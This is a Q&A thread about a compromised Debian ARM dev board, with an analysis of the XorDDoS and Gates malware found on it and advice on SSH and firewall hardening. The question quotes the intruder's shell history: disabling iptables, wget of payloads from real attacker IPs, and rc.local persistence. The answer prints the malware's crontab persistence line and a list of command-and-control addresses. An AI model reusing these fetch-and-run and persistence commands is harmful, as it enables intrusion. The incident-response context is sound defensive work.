506

I am developing a consumer product, and it is supposed to be connected to the Internet, so as expected, it is connected to the Internet so that I can properly develop it.

I went away for an hour or two, and when I came back to my office I noticed some strange commands written in the terminal.

Looking at the Linux log file called auth.log I can see the following lines (amongst many more):

Feb  1 10:45:10 debian-armhf sshd[994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=40.127.205.162  user=root
Feb  1 10:45:12 debian-armhf sshd[994]: Failed password for root from 40.127.205.162 port 37198 ssh2
Feb  1 10:45:12 debian-armhf sshd[994]: Received disconnect from 40.127.205.162: 11: Bye Bye [preauth]

The IP address 40.127.205.162 turns out to be owned by Microsoft.

Here are a bunch of commands that were used while I was away:

  355  service iptables stop
  356  cd /tmp
  357  wget http://222.186.30.209:65534/yjz1
  358  chmod 0755 /tmp/yjz1
  359  nohup /tmp/yjz1 > /dev/null 2>&1 &
  360  chmod 777 yjz1
  361  ./yjz1
  362  chmod 0755 /tmp/yjz1
  363  nohup /tmp/yjz1 > /dev/null 2>&1 &
  364  chmod 0777 yjz1
  365  chmod u+x yjz1
  366  ./yjz1 &
  367  chmod u+x yjz1
  368  ./yjz1 &
  369  wget http://222.186.30.209:65534/yjz
  370  chmod 0755 /tmp/yjz
  371  nohup /tmp/yjz > /dev/null 2>&1 &
  372  chmod 777 yjz
  373  ./yjz
  374  chmod 0755 /tmp/yjz
  375  nohup /tmp/yjz > /dev/null 2>&1 &
  376  chmod u+x yjz
  377  ./yjz &
  378  chmod u+x yjz
  379  ./yjz &
  380  cd /tmp
  381  echo "cd  /tmp/">>/etc/rc.local
  382  service iptables stop
  383  cd /tmp
  384  wget http://222.186.30.209:65534/yjz1
  385  chmod 0755 /tmp/yjz1
  386  nohup /tmp/yjz1 > /dev/null 2>&1 &
  387  chmod 777 yjz1
  388  ./yjz1
  389  chmod 0755 /tmp/yjz1
  390  nohup /tmp/yjz1 > /dev/null 2>&1 &
  391  chmod u+x yjz1
  392  ./yjz1 &
  393  chmod 0777 yjz1
  394  ./yjz1 &
  395  echo "cd  /tmp/">>/etc/rc.local
  396  service iptables stop
  397  wget http://222.186.30.209:65534/yjz1
  398  chmod 0755 /root/yjz1
  399  nohup /root/yjz1 > /dev/null 2>&1 &
  400  chmod 777 yjz1
  401  ./yjz1
  402  chmod 0755 /root/yjz1
  403  nohup /root/yjz1 > /dev/null 2>&1 &
  404  chmod u+x yjz1
  405  ./yjz1 &
  406  chmod 0777 yjz1
  407  ./yjz1 &
  408  echo "cd  /root/">>/etc/rc.local
  409  cd /tmp
  410  service iptables stop
  411  wget http://222.186.30.209:65534/yjz1
  412  chmod 0755 /tmp/yjz1
  413  nohup /tmp/yjz1 > /dev/null 2>&1 &
  414  chmod 777 yjz1
  415  ./yjz1 &
  416  cd /etc
  417  echo "cd /root/">>/etc/rc.local
  418  echo "./yjz1&">>/etc/rc.local
  419  echo "./yjz1&">>/etc/rc.local
  420  echo "/etc/init.d/iptables stop">>/etc/rc.local
  421  cd /tmp
  422  service iptables stop
  423  wget http://222.186.30.209:65534/yjz1
  424  chmod 0755 /tmp/yjz1
  425  nohup /tmp/yjz1 > /dev/null 2>&1 &
  426  chmod 777 yjz1
  427  ./yjz1 &
  428  cd /etc
  429  echo "cd /root/">>/etc/rc.local
  430  echo "./yjz1&">>/etc/rc.local
  431  echo "./yjz1&">>/etc/rc.local
  432  echo "/etc/init.d/iptables stop">>/etc/rc.local
  433  cd /tmp
  434  service iptables stop
  435  wget http://222.186.30.209:65534/yjz1
  436  chmod 0755 /tmp/yjz1
  437  nohup /tmp/yjz1 > /dev/null 2>&1 &
  438  chmod 777 yjz1
  439  ./yjz1 &
  440  cd /etc
  441  echo "cd /root/">>/etc/rc.local
  442  echo "./yjz1&">>/etc/rc.local
  443  echo "./yjz1&">>/etc/rc.local
  444  echo "/etc/init.d/iptables stop">>/etc/rc.local
  445  service iptables stop
  446  wget http://222.186.30.209:65534/yjz1
  447  chmod 0755 /root/yjz1
  448  nohup /root/yjz1 > /dev/null 2>&1 &
  449  chmod 777 yjz1
  450  ./yjz1
  451  chmod 0755 /root/yjz1
  452  nohup /root/yjz1 > /dev/null 2>&1 &
  453  chmod 0777 yjz1
  454  chmod u+x yjz1
  455  ./yjz1 &
  456  chmod u+x yjz1
  457  ./yjz1 &

And more:

  481  service iptables stop
  482  wget http://222.186.30.209:65534/yjz1
  483  chmod 0755 /root/yjz1
  484  nohup /root/yjz1 > /dev/null 2>&1 &
  485  chmod 777 yjz1
  486  ./yjz1
  487  chmod 0755 /root/yjz1
  488  nohup /root/yjz1 > /dev/null 2>&1 &
  489  chmod 0777 yjz1
  490  chmod u+x yjz1
  491  ./yjz1 &
  492  chmod u+x yjz1
  493  ./yjz1 &
  494  cd /tmp
  495  service iptables stop
  496  wget http://175.102.133.55:2/yjz
  497  ./yd_cd/make
  498  service iptables stop
  499  service iptables stop
  500  wget http://222.186.30.209:65534/yjz1

I was completely unaware of this. How can I secure my product properly?

I would like to post the complete auth.log file. How do I do that?

Also, the file yjz1 that was downloaded seems to be a Linux Trojan and all of this seems to be done by some kind of hacker group according to http://anti-hacker-alliance.com/index.php?ip=40.127.205.162

Should I call Microsoft and talk to them? What should I do?

MariusMatutiae
  • 47,503
  • 12
  • 81
  • 131
vaid
  • 3,539
  • 41
    Yeah that doesn't look too good. I'm not an expert in Linux by any means, but somethings definitely tried to execute on there. I'm not quite sure how though as it looks like it attempted to log in as root and failed. Are there any other logs in your auth.log? Any other means of remote admin? I've seen Mac's with VNC server enabled get hacked before via that, although this looks like an SSH attempt. Looks like the IPs it was downloading from are hosted in China somewhere. – Jonno Feb 01 '16 at 11:25
  • 3
    The attack actually came from China. – David Schwartz Feb 01 '16 at 11:30
  • Yes but what is a Microsoft owned IP doing trying to breach a device across the internet? – vaid Feb 01 '16 at 11:37
  • 72
    You got brute forced. This is why one does not leave a ssh server on the internet, even if you have a password. Anything short of key based auth is not secure enough these days. – Journeyman Geek Feb 01 '16 at 11:41
  • 2
    You could be the victim of a secondary attack via a breached Microsoft system, depending on just how serious these hackers are. Possibly IP Spoofing too? But as the previous comment says, key based authentication only is advisable. – Unencoded Feb 01 '16 at 11:41
  • 2
    So where can I read more about security? – vaid Feb 01 '16 at 12:02
  • 84
    Well we have http://security.stackexchange.com/.

    But first thing first: The compromised host can no longer be trusted. Take it off the network.

    If possible make a backup so you can research what was done and how it was done. Next reinstall the OS from a clean source. Restore data from backups.

    Secure the system so you do not get infected again. Finding out how they got in is highly recommended. (Hence the recommendation to make a copy of the infected system).

     – Hennes Feb 01 '16 at 12:06
  • 1
    Given the brute force attack consider password logins. If you keep those enabled then make sure there are no weak passwords. (As already mentioned, keybased is better. If you and possible other can switch to those: great. If not make sure nobody uses '1234' 'password' 'admin' or similar weak passwords. – Hennes Feb 01 '16 at 12:08
  • Ok thanks a lot. I will do that. Are any of you willing to look in to this with me? I might need someone to bounce this with. The system itself is basically a stripped down Debian version for ARMHF CPU's. Nothing extensively complex. – vaid Feb 01 '16 at 12:10
  • 3
    I recommend setting up port knocking for all maintenance/development access in addition. This way, all your regular ports appear to be closed and people lose interest in your device pretty fast. Means less bandwidth gets wasted for attacks. At least if your service itself is reasonably secure. – Run CMD Feb 01 '16 at 12:46
  • 1
    ossec-hids is another useful tool for security auditing. – Wayne Werner Feb 01 '16 at 17:40
  • 1
    You should generally disable root ssh login in the sshd configuration file. You can always login to your normal account and use su/sudo to become the superuser. – Kevin Evans Feb 01 '16 at 20:28
  • 86
    FYI: 40.127.205.162 is a Microsoft Azure IP address according to GeoIP. Consequently, you can't blame Microsoft for the attack - it's equivalent to blaming Amazon because someone used EC2 for spam. The only thing Microsoft can really do is kick the attackers off Azure, but they'll be back on a different cloud platform in no time. – nneonneo Feb 01 '16 at 20:33
  • Is it a raspberry pi? I'm guessing, since you're using the ARM version of Debian. If so, you can wipe the SD card & start over. And make sure you change the default username & password. – Kryten Feb 01 '16 at 21:54
  • 2
    @Vaid -- not an answer to your question -- but it's vaguely on-topic -- I highly recommend watching this session from Build 2015 to anyone building consumer-based products that connect to the internet: https://channel9.msdn.com/Events/Build/2015/2-625 -- You might shrug it off since it has Azure in the title, but the concepts covered are pretty high-level and translate well. :-) – BrainSlugs83 Feb 01 '16 at 23:00
  • 3
    It's odd that the hacker didn't attempt to hide his actions by editing the history. – user1751825 Feb 02 '16 at 00:08
  • 6
    "I noticed some strange commands written in the terminal" - that's odd, usually every SSH connection will gets a separate terminal. – user253751 Feb 02 '16 at 00:22
  • @ClassStacker I'll look port knocking up. – vaid Feb 02 '16 at 02:48
  • @KevinEvans I'll disable root ssh as it isn't really needed in my application – vaid Feb 02 '16 at 02:48
  • @nneonneo I didn't know that, but I contacted Microsoft anyways, just to let them know – vaid Feb 02 '16 at 02:48
  • @Kryten No, it's an Olimex A10 Lime 4GB with NAND flash on board. – vaid Feb 02 '16 at 02:48
  • 1
    @BrainSlugs83 that is very relevant to my current project. Thanks! – vaid Feb 02 '16 at 02:48
  • 1
    @user1751825 yes I think so as well. I guess he/she never got far enough in the process to do so. – vaid Feb 02 '16 at 02:49
  • 1
    @user20574 yes that is really odd. At first I thought that my Mac had been hacked. I guess I could see the commands because we were both logged in as root. – vaid Feb 02 '16 at 02:49
  • 7
    "I noticed some strange commands written in the terminal": were those visible on your terminal or from the bash history? How did you first notice this stuff? I don't see how an ssh session could write to your particular terminal. – isanae Feb 02 '16 at 04:21
  • 42
    In fact, if this was written in your terminal, the hacker is probably sitting in the next cubicle. – isanae Feb 02 '16 at 04:43
  • 1
    Before you do anything that could compromise your logs, screenshot them and send the screenshot to your country's cybercrime agency. Assuming you're in the US, that agency is the FBI. They might not investigate, but you never know. In fact, if you should later get hacked, and they can link both incidents to the same hacker or group, that might provide some additional incentive to prosecute. –  Feb 02 '16 at 09:12
  • 3
    @isanae It is simple to write on a terminal. It was not this example but is enough echo Ohhhii | sudo write $USER pts/9 to write on the terminal 9 (tty can give you the current tty, if you want to try). Programs that run as root do not need sudo. BTW there are many logs, especially the security ones, that can be written on all the terminals, or it could be a script not perfectly done (or executed) that redirects some output on a fixed tty... – Hastur Feb 02 '16 at 10:00
  • 7
    Above all, do not leave your pc running unattended with an open root session! – MariusMatutiae Feb 02 '16 at 10:33
  • Byt the way you guys are talking about key based ssh auths are week? do you mean key in sensce of keyboard key based? or private/public key based? Since I'm doing the second and I'm now wondering, Since when this is considered unsecure?! – Zaibis Feb 02 '16 at 14:06
  • 1
    Archive all the data on the compromised machine, wipe it, and rebuild the system with stronger security measures. Examine the archived data and look for any information that could be used to determine the source and nature of the attack. – bwDraco Feb 02 '16 at 18:04
  • @isanae I noticed the commands on my SSH terminal on the mac which was connected to my dev board (which got attacked) via SSH. So it was my dev board that got hacked, not my Mac, however, both me and the attacker were logged in to the dev board as root. So no matter where or who you are, once you're logged in as root you can see all of the root history. Right? – vaid Feb 03 '16 at 07:30
  • @moonman239 unfortunately I'm in Sweden, and the FBI equivalent is called SÄPO. I don't know if they'd be interested though, they probably know about this. But could I be wrong? – vaid Feb 03 '16 at 07:31
  • 14
    @isanae well, then I guess my mom is the hacker. And the cubicle has to be our living room. I run my company from the comfort of my home so I don't think that the intruder had access to my computer physically. – vaid Feb 03 '16 at 08:10
  • You cannot trust this installation anymore. It must be completely reinstalled from scratch. – Thorbjørn Ravn Andersen Feb 03 '16 at 21:12
  • It's simply a proxy server that broadcasts it's status to other proxies in the botnet. – Flash Thunder Feb 04 '16 at 10:13
  • Your site is still hosting the malware at http://222.186.30.209:65534/yjz I'm not sure why you've not removed it yet? If you can't remove it, disconnect the server from the internet. – NickG Feb 04 '16 at 13:29
  • 2
    @NickG Uh, 222.186.30.209:65534 isn't his site. That's where the attacker was hosting the scripts that he downloaded onto the OP's machine. – Ajedi32 Feb 04 '16 at 15:09
  • @Ajedi32 - sorry I misunderstood. – NickG Feb 04 '16 at 16:12
  • Thanks very much for the fascinating read. I found that the payloads are no longer available for download. Where can a poor student with minimal connections (yet!) find them for analysis? – Tim G Feb 06 '16 at 23:06
  • @TimG I have a copy right here on my computer along with the logs. I don't know where I can upload them and share them. If anyone has any ideas, let me know. – vaid Feb 07 '16 at 06:14
  • 1
    Dropbox, Google Drive, private email. I could see Dropbox or Google Drive killing it, so maybe it would go through if it were tar -czf'd. You could also host it on your box by setting a loosely passworded unprivileged account that ssh's to a chrooted folder; people could then scp it from you. – Tim G Feb 07 '16 at 08:48
  • http://allanfeid.com/content/creating-chroot-jail-ssh-access – Tim G Feb 07 '16 at 08:55
  • 1
    @nneonneo: Also the official list of Microsoft Azure Datacenter IP Ranges shows the range containing the address 40.127.205.162: 40.127.192.0/18. – pabouk - Ukraine stay strong Feb 07 '16 at 10:13
  • 1
    @TimG here's a link to the binary. it's zipped. https://drive.google.com/folderview?id=0BzXsxVbvw8tgRTdOczZVQjhoWmc&usp=sharing – vaid Feb 07 '16 at 12:28
  • its like reading a creepypasta for developers, i know this is not related to a solution but meh grabs popcorn – some_groceries Feb 10 '16 at 06:40
  • Can you please post this incident to http://cert.microsoft.com/report.aspx (note I don't work on the CERT team).. – Shawn Cicoria Feb 11 '16 at 15:35
  • @ShawnCicoria-MSFT I already have. I even supplied the logs and the trojan all neatly zipped and marked. I have not received any response. – vaid Feb 11 '16 at 16:03
  • If you saw the commands on your screen, the hacker might have used a remote desktop program, or physically typed them on your keyboard. – Joe R. May 22 '17 at 00:53

9 Answers9

496

EDIT 2:

there is one good reason why this post is attracting so much attention: you managed to record the whole, live session of an intruder on your PC. This is very different from our everyday experience, where we deal with the discovery of the consequences of his actions and try to redress them. Here we see him at work, see him having some problems with establishing the backdoor, retrace his steps, work feverishly (perhaps because he was sitting at your desk, as suggested above, or perhaps, and in my opinion more likely, because he was unable to make his malware run on the system, read below), and try to deploy fully self-contained instruments of control. This is what security researchers witness daily with their honey traps. For me, this is a very rare chance, and the source of some amusement.

You have definitely been hacked. The evidence for this does not come from the snippet of the auth.log file you displayed, because this reports an unsuccessful login attempt, occurring over a short time span (two secs). You will notice that the second line states Failed password, while the third one reports a pre-auth disconnect: the guy tried and failed.

The evidence comes instead from the content of the two files http://222.186.30.209:65534/yjz and http://222.186.30.209:65534/yjz1 which the attacker downloaded onto your system.

The site is currently open to anyone to download them, which I did. I first ran file on them, which showed:

$ file y*
yjz:      ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
yjz1:     ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped

Then I brought them onto a 64-bit Debian VM I have; an examination of their content thru the strings command revealed much that was suspicious (reference to various well-known attacks, to commands to be substituted for, a script that was clearly used to set up a new service, and so on).

I then produced the MD5-hashes of both files, and fed them to Cymru's hash database to see whether they are known agents of malware. While yjz is not, yjz1 is, and Cymru reports a probability of detection by anti-virus software of 58%. It also states that this file was last seen some three days ago, so it is reasonably recent.

Running clamscan (part of the clamav package) on the two files I obtained: 

$ clamscan y*
yjz: Linux.Backdoor.Gates FOUND
yjz1: Linux.Trojan.Xorddos FOUND

so we are now certain that standard Linux software can identify it.

What should you do?

Though rather new, neither system is very new, see this Jan. 2015 article on XorDdos, for instance. So most free packages should be able to remove it. You should try: clamav, rkhunter, chkrootkit. I have Googled around, and seen that they claim to be able to spot it. Use them to check on the predecessor's work, but after running these three programs you should be ready to go.

As for the larger question, what should you do to prevent future infections, Journeyman's answer is a good first step. Just keep in mind that it is an ongoing struggle, one that all of us (including me!) may very well have lost without even knowing it.

EDIT:

At Viktor Toth's (indirect) prompt, I would like to add a few comments. It is certainly true that the intruder encountered some difficulties: he downloads two distinct hacking tools, changes their permissions several times, restarts them several times, and tries many times to disable the firewall. It is easy to guess what is happening: he expects his hacking tools to open a communication channel toward one of his infected pcs (see later), and, when he does not see this new channel spring up on his control GUI, fears his hacking tool is being blocked by the firewall, so he repeats the installation procedure. I agree with Viktor Toth that this particular stage of his operation does not seem to bring the expected fruits, but I would like to encourage you very strongly not to underestimate the extent of the damage inflicted on your pc.

I provide here a partial output of strings yjz1: 

etc/init.d/%s
/etc/rc%d.d/S90%s
--del
chkconfig
remove
update-rc.d
/etc/cron.hourly/gcc4.sh
/etc/rc.d/rc%d.d/S90%s
--add
defaults
/proc/%d/exe
/proc/self/exe
HOME=/
MYSQL_HISTFILE=/dev/null
#!/bin/sh
# chkconfig: 12345 90 90
# description: %s
### BEGIN INIT INFO
# Provides:             %s
# Required-Start:
# Required-Stop:
# Default-Start:        1 2 3 4 5
# Default-Stop:
# Short-Description:    %s
### END INIT INFO
case $1 in
start)
stop)
esac
sed -i '/\/etc\/cron.hourly\/gcc4.sh/d' /etc/crontab && echo '*/3 * * * * root /etc/cron.hourly/gcc4.sh' >> /etc/crontab
etc/init.d/%s
GET %s HTTP/1.1
%sHost: %s
POST %s HTTP/1.1
%sHost: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
%s%s
Accept: */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1;      TencentTraveler ; .NET CLR 1.1.4322)
Connection: Keep-Alive

This provides evidence of tampering with the services (in /etc/init.d and in /etc/rc.d), with crontab, with the history file of mysql, and a couple of files in proc which are links to bash (which suggests a custom-made fraudulent version of your shell has been planted). Then the program generates an HTTP request (to a Chinese-speaking site, 

 Accept-Language: zh-cn

which gives substance to David Schwartz's comment above), which may create even more havoc. In the request, binaries (Content-Type: application/x-www-form-urlencoded) are to be downloaded to the attacked pc (GET) and uploaded to the controlling machine (POST). I could not establish what would be downloaded to the attacked pc, but, given the small size of both yjz and yjz1 (1.1MB and 600kB, repectively), I can venture to surmise that most of the files needed to cloak the rootkit, i.e. the altered versions of ls, netstat, ps, ifconfig,..., would be downloaded this way. And this would explain the attacker's feverish attempts to get this download going.

There is no certainty that the above exhausts all possibilities: we certainly lack part of the transcript (between lines 457 and 481) and we do not see a logout; furthermore, especially worrisome are lines 495-497, 

cd /tmp;  ./yd_cd/make

which refer to a file we did not see downloaded, and which might be a compilation: if so, it means the attacker has (finally?) understood what the problem with his executables was, and is trying to fix it, in which case the attacked pc has gone for good. [In fact, the two versions of the malware which the attacker downloaded onto the hacked machine (and I onto my 64bit Debian VM) are for an unsuitable architecture, x86, while the name alone of the hacked-into pc gives away the fact that he was dealing with an arm architecture].

The reason why I wrote this edit is to urge you as strongly as possible either to comb your system with a professional instrument, or to re-install from scratch.

And, by the way, should this prove useful to anyone, this is the list of of the 331 IP addresses to which yjz tries to connect. This list is so large (and probably destined to become larger still) that I believe this is the reason for tampering with mysql. The list provided by the other backdoor is identical, which, I presume, is the reason for leaving such an important piece of information out in the open (I think the attacker did not wish to make the effort to store them in kernel format, so he put the whole list in a clear-text file, which is probably read-in by all of his backdoors, for whichever OS): 

61.132.163.68
202.102.192.68
202.102.213.68
202.102.200.101
58.242.2.2
202.38.64.1
211.91.88.129
211.138.180.2
218.104.78.2
202.102.199.68
202.175.3.3
202.175.3.8
202.112.144.30
61.233.9.9
61.233.9.61
124.207.160.110
202.97.7.6
202.97.7.17
202.106.0.20
202.106.46.151
202.106.195.68
202.106.196.115
202.106.196.212
202.106.196.228
202.106.196.230
202.106.196.232
202.106.196.237
202.112.112.10
211.136.17.107
211.136.28.231
211.136.28.234
211.136.28.237
211.147.6.3
219.141.136.10
219.141.140.10
219.141.148.37
219.141.148.39
219.239.26.42
221.130.32.100
221.130.32.103
221.130.32.106
221.130.32.109
221.130.33.52
221.130.33.60
221.176.3.70
221.176.3.73
221.176.3.76
221.176.3.79
221.176.3.83
221.176.3.85
221.176.4.6
221.176.4.9
221.176.4.12
221.176.4.15
221.176.4.18
221.176.4.21
58.22.96.66
218.104.128.106
202.101.98.55
211.138.145.194
211.138.151.161
211.138.156.66
218.85.152.99
218.85.157.99
222.47.29.93
202.101.107.85
119.233.255.228
222.47.62.142
122.72.33.240
211.98.121.27
218.203.160.194
221.7.34.10
61.235.70.98
113.111.211.22
202.96.128.68
202.96.128.86
202.96.128.166
210.21.3.140
210.21.4.130
211.95.193.97
211.98.2.4
211.98.4.1
211.162.61.225
211.162.61.235
211.162.61.255
211.162.62.1
211.162.62.60
221.4.66.66
202.103.176.22
202.96.144.47
210.38.192.33
202.96.134.33
202.96.134.133
202.96.154.15
210.21.196.6
221.5.88.88
202.103.243.112
202.193.64.33
61.235.164.13
61.235.164.18
202.103.225.68
221.7.136.68
202.103.224.68
211.97.64.129
211.138.240.100
211.138.242.18
211.138.245.180
221.7.128.68
222.52.118.162
202.98.192.67
202.98.198.167
211.92.136.81
211.139.1.3
211.139.2.18
202.100.192.68
211.97.96.65
211.138.164.6
221.11.132.2
202.100.199.8
202.99.160.68
202.99.166.4
202.99.168.8
222.222.222.222
202.102.224.68
202.102.227.68
222.85.85.85
222.88.88.88
210.42.241.1
202.196.64.1
112.100.100.100
202.97.224.68
219.235.127.1
61.236.93.33
211.93.24.129
211.137.241.34
219.147.198.230
202.103.0.68
202.103.0.117
202.103.24.68
202.103.44.150
202.114.0.242
202.114.240.6
211.161.158.11
211.161.159.3
218.104.111.114
218.104.111.122
218.106.127.114
218.106.127.122
221.232.129.30
59.51.78.210
61.234.254.5
202.103.96.112
219.72.225.253
222.243.129.81
222.246.129.80
211.142.210.98
211.142.210.100
220.168.208.3
220.168.208.6
220.170.64.68
218.76.192.100
61.187.98.3
61.187.98.6
202.98.0.68
211.93.64.129
211.141.16.99
202.98.5.68
219.149.194.55
211.138.200.69
202.102.3.141
202.102.3.144
58.240.57.33
112.4.0.55
114.114.114.114
114.114.115.115
202.102.24.34
218.2.135.1
221.6.4.66
221.131.143.69
202.102.8.141
222.45.0.110
61.177.7.1
218.104.32.106
211.103.13.101
221.228.255.1
61.147.37.1
222.45.1.40
58.241.208.46
202.102.9.141
202.102.7.90
202.101.224.68
202.101.226.68
211.141.90.68
211.137.32.178
202.96.69.38
211.140.197.58
219.149.6.99
202.96.86.18
101.47.189.10
101.47.189.18
118.29.249.50
118.29.249.54
202.96.64.68
202.96.75.68
202.118.1.29
202.118.1.53
219.148.204.66
202.99.224.8
202.99.224.67
211.90.72.65
211.138.91.1
218.203.101.3
202.100.96.68
211.93.0.81
222.75.152.129
211.138.75.123
202.102.154.3
202.102.152.3
219.146.1.66
219.147.1.66
202.102.128.68
202.102.134.68
211.138.106.19
211.90.80.65
202.99.192.66
202.99.192.68
61.134.1.4
202.117.96.5
202.117.96.10
218.30.19.40
218.30.19.50
116.228.111.118
180.168.255.18
202.96.209.5
202.96.209.133
202.101.6.2
211.95.1.97
211.95.72.1
211.136.112.50
211.136.150.66
119.6.6.6
124.161.97.234
124.161.97.238
124.161.97.242
61.139.2.69
202.98.96.68
202.115.32.36
202.115.32.39
218.6.200.139
218.89.0.124
61.139.54.66
61.139.39.73
139.175.10.20
139.175.55.244
139.175.150.20
139.175.252.16
168.95.1.1
210.200.211.193
210.200.211.225
211.78.130.1
61.31.1.1
61.31.233.1
168.95.192.1
168.95.192.174
61.60.224.3
61.60.224.5
202.113.16.10
202.113.16.11
202.99.96.68
202.99.104.68
211.137.160.5
211.137.160.185
219.150.32.132
202.98.224.68
211.139.73.34
61.10.0.130
61.10.1.130
202.14.67.4
202.14.67.14
202.45.84.58
202.45.84.67
202.60.252.8
202.85.128.32
203.80.96.9
203.142.100.18
203.142.100.21
203.186.94.20
203.186.94.241
221.7.1.20
61.128.114.133
61.128.114.166
218.202.152.130
61.166.150.123
202.203.128.33
211.98.72.7
211.139.29.68
211.139.29.150
211.139.29.170
221.3.131.11
222.172.200.68
61.166.150.101
61.166.150.139
202.203.144.33
202.203.160.33
202.203.192.33
202.203.208.33
202.203.224.33
211.92.144.161
222.221.5.240
61.166.25.129
202.96.103.36
221.12.1.227
221.130.252.200
222.46.120.5
202.96.96.68
218.108.248.219
218.108.248.245
61.130.254.34
60.191.244.5
202.96.104.15
202.96.104.26
221.12.33.227
202.96.107.27
61.128.128.68
61.128.192.68
218.201.17.2
221.5.203.86
221.5.203.90
221.5.203.98
221.7.92.86
221.7.92.98

The following code

 #!/bin/bash
 echo 0 > out
 while read i; do
       whois $i | grep -m 1 -i country >> out
 done < filename
 cat out | grep -i cn | wc -l

on the above list shows that 302 out of a total 331 addresses are in mainland China, the remaining ones are in Hong Kong, Mongolia, Taiwan. This adds further support to David Schwartz's contention that this is mostly a Chinese bot ring.

EDIT 3

At @vaid's request (the author of the OP, read his comment below), I will add a comment about how to strengthen security of a basic Linux system (for a system providing many services, this is a far more complex topic). vaid states he did the following:

  1. Reinstall the system

  2. changed root password to a 16 character long password with mixed lower- and uppercase letters and characters and digits.

  3. Changed the username to a 6 mixed character long username and applied the same password as used for root

  4. changed SSH port to something above 5000

  5. turned off SSH root login.

This is fine (except I use a port above 10,000 since many useful programs use the ports below 10,000). But I cannot emphasize enough the need to use cryptographic keys for ssh login, instead of passwords. I will give you a personal example. On one of my VPSes, I was uncertain whether to change the ssh port; I left it at 22, but used crypto keys for authentication. I had hundreds of break-in attempts per day, none succeeded. When, tired to check daily that no one had succeeded, I eventually switched the port to something above 10,000, break-in attempts went to zero. Mind you, it is not that hackers are stupid (they are not!), they just hunt down easier prey.

It is easy to activate a crypto key with RSA as a signature algorithm, see comment below by Jan Hudec (thanks!): 

 cd; mkdir .ssh; chmod 700 .ssh; cd .ssh; ssh-keygen -t rsa (then hit <kbd>ENTER>/kbd> three times); cat id_rsa.pub >> authorized_keys; chmod 600 *

Now all you have to do is to copy the file id_rsa to the machine from which you want to connect (in a directory .ssh, also chmod'ed to 700), then issue the command

ssh -p YourChosenNonStandardPort -i ~/.ssh/id_rsa me@RemoteMachine

When you are sure that this works, edit on the server (=the machine you want to connect to) the file /etc/ssh/sshd_config, and change the line 

#PasswordAuthentication yes

to 

PasswordAuthentication no

and restart the ssh service (service ssh restart or systemctl restart ssh, or something like this, depending on distro).

This will withstand a lot. In fact, there are currently no known exploits against the current versions of openssh v2, and of RSA as employed by openssh v2.

Lastly, in order to really bolt down your machine, you will need to configure the firewall (netfilter/iptables) as follows:

 iptables -A INPUT -p tcp --dport YourChosenNonStandardPort -j ACCEPT
 iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
 iptables -P INPUT DROP
 iptables -P OUTPUT ACCEPT
 iptables -A INPUT -i lo -j ACCEPT
 iptables -A OUTPUT -o lo -j ACCEPT

This, 1) allows ssh connections from both LAN and WAN, 2) allows all input which was originated by your requests (for instance, when you load a Web page), 3) drops everything else on the input, 4) allows everything on the output, and 5-6) allows everything on the loopback interface.

As your needs grow, and more ports need to be opened, you may do so by adding, at the top of the list, rules like:

 iptables -A INPUT -p tcp --dport 80 -j ACCEPT

to allow for instance people to access your Web browser.

MariusMatutiae
  • 47,503
  • 12
  • 81
  • 131
  • 13
    This was great to read. I also tried the file yjz1 through Googles VirusTotal.com which gave a positive. I didn't even see that yjzhad been downloaded. Thanks. – vaid Feb 01 '16 at 16:28
  • I am reading about how to rename ROOT, I noticed that the hacker tries to do stuff in the path /root/, which I assume is /, so renaming ROOT could be a short term protection? – vaid Feb 01 '16 at 16:33
  • My previous webserver install got hit with xordos. I'd downloaded a copy for a backup to a windows box and my AV kept cleaning it out. I wonder if clamav would detect it. And yeah, I focused on generic steps since I really didn't want to poke at a random known bad file/ – Journeyman Geek Feb 02 '16 at 03:16
  • 35
    Be careful running strings on untrusted data. https://lcamtuf.blogspot.com/2014/10/psa-dont-run-strings-on-untrusted-files.html – Matt Nordhoff Feb 02 '16 at 07:02
  • 5
    @MattNordhoff Thanks for pointing this out, I was blissfully unaware of it. However, on my Debian the 'strings` command passes the test you linked with flying colors. I presume this is due to the fact that the manual states: -a ...Normally this is the default behaviour. Cheers. – MariusMatutiae Feb 02 '16 at 07:12
  • @JourneymanGeek Yes, clamav does detect it, pls read above. I did not mean anything negative about your post, I just wanted to say that your post complements what you can read in mine. – MariusMatutiae Feb 02 '16 at 07:54
  • 32
    This answer shows an approach that should be a paradigm: 1. Do not let your attention be diverted by failed attempts, be alerted. 2. Individuate the successful actions of the attacker. 3. Study what and how the attacker did. 4. Install all from scratch or from the last uncorrupted (attacked) backup, adding the needed additional protections you found (point 3). 5. Help the others to protect themselves (the list of compromised / suspect IP). – Hastur Feb 02 '16 at 08:26
  • On the contrary, I'm not disagreeing. I'm just adding that I've gotten hit by this same bit of malware and feeling remarkably dumb. – Journeyman Geek Feb 02 '16 at 09:40
  • 11
    [Redacted after comment by @MariusMatutiae] - Nevertheless, the OP should realize that on a compromised system, every executable must be considered malicious, even the shell, ls, who or anything else. "Rescuing data" by using any executable on the compromised system (e.g. scp or rsync) might compromise even more machines. – Dubu Feb 02 '16 at 13:24
  • @MariusMatutiae Well, I do not see a large potential gain for the script kiddie that did this (they would probably have moved on to the next host quite quickly), but I nevertheless removed that part of my comment. – Dubu Feb 02 '16 at 13:30
  • 1
    @Dubu : And how many people put '.' at the beginning of their $path? So that even without root privilege, there are a lot of places I could drop a malicious file named 'ls' or … – WGroleau Feb 02 '16 at 14:41
  • If the attack failed, then I suppose you actually mean that he survived an attempted hack, and was not successfully hacked. – user287352 Feb 02 '16 at 19:04
  • 1
    @MattNordhoff, strings (i.e., binutils) was fixed for Fedora in October 2014. Ditto for Debian, Ubuntu. Presumably upstream got fixed too. – vonbrand Feb 03 '16 at 02:05
  • 1
